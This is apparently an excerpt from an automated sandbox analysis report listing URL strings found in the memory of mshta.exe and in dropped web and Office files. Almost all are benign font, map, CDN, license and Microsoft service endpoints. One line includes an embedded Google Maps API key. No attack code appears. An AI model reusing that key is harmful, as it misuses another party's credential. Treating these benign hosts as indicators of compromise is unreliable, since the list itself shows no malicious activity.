Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot
Source: mshta.exe, 0000000A.00000003.276632302.000000000623D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.276657468.000000000623D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.293924448.0000000006263000.00000004.00000800.00020000.00000000.sdmp, css[2].css.10.dr, css[4].css.10.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);t
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot0
Source: mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eotC:
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eotdo5
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://g.co/dev/maps-no-account
Source: mshta.exe, 0000000A.00000003.347193448.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.350548233.000000000C493000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, jquery.mobilemenu[1].js.10.dr	String found in binary or memory: http://github.com/mambows/mobilemenu
Source: style[1].css.10.dr	String found in binary or memory: http://info.template-help.com/help/
Source: mshta.exe, 0000000A.00000003.347193448.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.350548233.000000000C493000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, jquery.mobilemenu[1].js.10.dr	String found in binary or memory: http://jquery.com
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://khm.googleapis.com/mz?v=928
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://khm0.googleapis.com/kh?v=143
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://khm0.googleapis.com/kh?v=928
Source: mshta.exe, 0000000A.00000002.511747640.0000000006234000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://khm0.googleapish168
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://khm1.googleapis.com/kh?v=143
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://khm1.googleapis.com/kh?v=928
Source: mshta.exe, 0000000A.00000003.276621858.0000000006233000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.dr	String found in binary or memory: http://kyruus.com
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://maps.googleapis.com
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://maps.googleapis.com/maps-api-v3/api/js/49/12
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511324135.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://maps.googleapis.com/maps/api/js?v=3.exp&key=AIzaSyBXSoaDpFMSx5Mw41I7DfRd1h7fJUulK_0
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303772352.0000000006150000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://maps.googleapis.com/maps/api/js?v=3.exp&key=AIzaSyBXSoaDpFMSx5Mw41I7DfRd1h7fJUulK_0#038;ver=4
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://maps.googleapis.com/maps/vt
Source: mshta.exe, 0000000A.00000002.511747640.0000000006234000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://maps.googleapis.com/maps/vttX
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://maps.gstatic.com/mapfiles/
Source: mshta.exe, 0000000A.00000002.511747640.0000000006234000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://maps.gstatic.com/mapfiles/L
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://maps.gstatic.com/maps-api-v3/api/images/
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://mt.googleapis.com/maps/vt/icon
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/
Source: mshta.exe, 0000000A.00000003.303772352.0000000006150000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511278315.0000000006178000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348715822.0000000006177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
Source: mshta.exe, 0000000A.00000003.381603478.000000000C553000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348525508.000000000C552000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.346222327.000000000C526000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347425710.000000000C53C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.11
Source: mshta.exe, 0000000A.00000003.303772352.0000000006150000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511278315.0000000006178000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348715822.0000000006177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1IC:
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/font/fontawesome-webfont.eot?v=3.2.1
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/os
Source: mshta.exe, 0000000A.00000002.523747245.000000000C6B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ns.I~
Source: mshta.exe, 0000000A.00000002.523747245.000000000C6B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ns.U~
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: mshta.exe, 0000000A.00000002.523387638.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382012163.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349480071.000000000C6B7000.00000004.00000800.00020000.00000000.sdmp, jquery.jplayer.min[1].js.10.dr, animate-logo[1].css.10.dr	String found in binary or memory: http://opensource.org/licenses/MIT
Source: mshta.exe, 0000000A.00000003.276621858.0000000006233000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.dr	String found in binary or memory: http://opensource.org/licenses/mit-license.html
Source: mshta.exe, 0000000A.00000002.521749738.000000000B460000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.513853041.0000000006B6F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.521796872.000000000B480000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.314448907.000000000E9AB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.522030282.000000000B5F2000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.dr	String found in binary or memory: http://scripts.sil.org/OFL
Source: mshta.exe, 0000000A.00000003.314676367.000000000E9AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://scripts.sil.org/OFLp
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511747640.0000000006234000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://static.panoramio.com.storage.googleapis.com/photos/
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://storage.ie6countdown.com/
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://storage.ie6countdown.com/;
Source: mshta.exe, 0000000A.00000002.511036241.0000000006152000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://storage.ie6countdown.com/assets/100/images/banners/warning_bar_0000_us.jpg
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://storage.ie6countdown.com/assets/100/images/banners/warning_bar_0000_us.jpg.js?ver=1.3E
Source: mshta.exe, 0000000A.00000002.511036241.0000000006152000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://storage.ie6countdown.com/assets/100/images/banners/warning_bar_0000_us.jpgv
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://storage.ie6countdown.com/y
Source: mshta.exe, 0000000A.00000003.347599158.0000000006202000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303908827.00000000061F9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511644335.0000000006207000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348391045.0000000006206000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://translate.google.com/
Source: mshta.exe, 0000000A.00000003.347599158.0000000006202000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303908827.00000000061F9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511644335.0000000006207000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348391045.0000000006206000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://translate.google.com/5
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511036241.0000000006152000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.514426593.0000000006E10000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.304047185.00000000061CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2
Source: mshta.exe, 0000000A.00000002.511036241.0000000006152000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2B
Source: mshta.exe, 0000000A.00000002.511036241.0000000006152000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2T
Source: mshta.exe, 0000000A.00000002.511036241.0000000006152000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2x
Source: mshta.exe, 0000000A.00000003.276621858.0000000006233000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.dr	String found in binary or memory: http://twitter.com/byscuits
Source: mshta.exe, 0000000A.00000003.276621858.0000000006233000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.dr	String found in binary or memory: http://twitter.com/fontawesome.
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: responsive[1].css.10.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: mshta.exe, 0000000A.00000003.304154911.00000000068CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523387638.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382012163.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, bootstrap.min[1].js.10.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.txt
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.277100889.0000000006245000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.276661181.0000000006245000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.276638258.0000000006245000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://www.broofa.com
Source: mshta.exe, 0000000A.00000003.349480071.000000000C6B7000.00000004.00000800.00020000.00000000.sdmp, jplayer.playlist.min[1].js.10.dr	String found in binary or memory: http://www.gnu.org/copyleft/gpl.html
Source: flexslider[1].css.10.dr	String found in binary or memory: http://www.gnu.org/licenses/gpl-2.0.html
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://www.google.com/maps/preview/log204
Source: mshta.exe, 0000000A.00000002.523387638.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382012163.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349480071.000000000C6B7000.00000004.00000800.00020000.00000000.sdmp, jquery.jplayer.min[1].js.10.dr, jplayer.playlist.min[1].js.10.dr	String found in binary or memory: http://www.jplayer.org
Source: mshta.exe, 0000000A.00000002.524590761.000000000E050000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.macromedia.com
Source: mshta.exe, 0000000A.00000002.523526609.000000000C542000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.381791960.000000000C543000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.346222327.000000000C526000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347425710.000000000C53C000.00000004.00000800.00020000.00000000.sdmp, jquery.mousewheel.min[1].js.10.dr	String found in binary or memory: http://www.mathias-bank.de)
Source: mshta.exe, 0000000A.00000003.349480071.000000000C6B7000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.381624159.000000000C52C000.00000004.00000800.00020000.00000000.sdmp, swfobject[1].js.10.dr, camera.min[1].js.10.dr, jplayer.playlist.min[1].js.10.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: flexslider[1].css.10.dr	String found in binary or memory: http://www.woothemes.com/flexslider/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/authenticated
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/apps/remove
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://api.aadrm.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://api.aadrm.com/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://api.addins.store.office.com/addinstemplate
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://api.addins.store.office.com/app/query
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://api.cortana.ai
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com/v2/feedback
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com/v2/file
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://api.office.net
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://api.onedrive.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: mshta.exe, 0000000A.00000003.303772352.0000000006150000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.w.org/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: mshta.exe, 0000000A.00000002.523111822.000000000C421000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.dr	String found in binary or memory: https://app.vzaar.com/videos/:id
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://augloop.office.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://augloop.office.com/v2
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://cbks0.googleapis.com/cbk?
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://cbks1.googleapis.com/cbk?
Source: mshta.exe, 0000000A.00000002.511747640.0000000006234000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cbks1.googleapis.com/cbk?P
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://cdn.entity.
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://clients.config.office.net/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://clients.config.office.net/c2r/v1.0/InteractiveInstallation
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://config.edge.skype.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://cortana.ai
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://cortana.ai/api
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://cr.office.com
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/apps-themestL
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/apps-themes
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://dev.cortana.ai
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: js[2].js.10.dr	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/EventTarget/addEventListener
Source: mshta.exe, 0000000A.00000002.512742078.0000000006951000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.510071362.0000000004D8A000.00000004.00000010.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347342517.0000000006951000.00000004.00000800.00020000.00000000.sdmp, scripts[1].js.10.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent
Source: js[2].js.10.dr	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/error-messages#unsupported-browsers
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.277100889.0000000006245000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.276661181.0000000006245000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.276638258.0000000006245000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/styling#cloud_tooling
Source: js[2].js.10.dr	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/vector-map
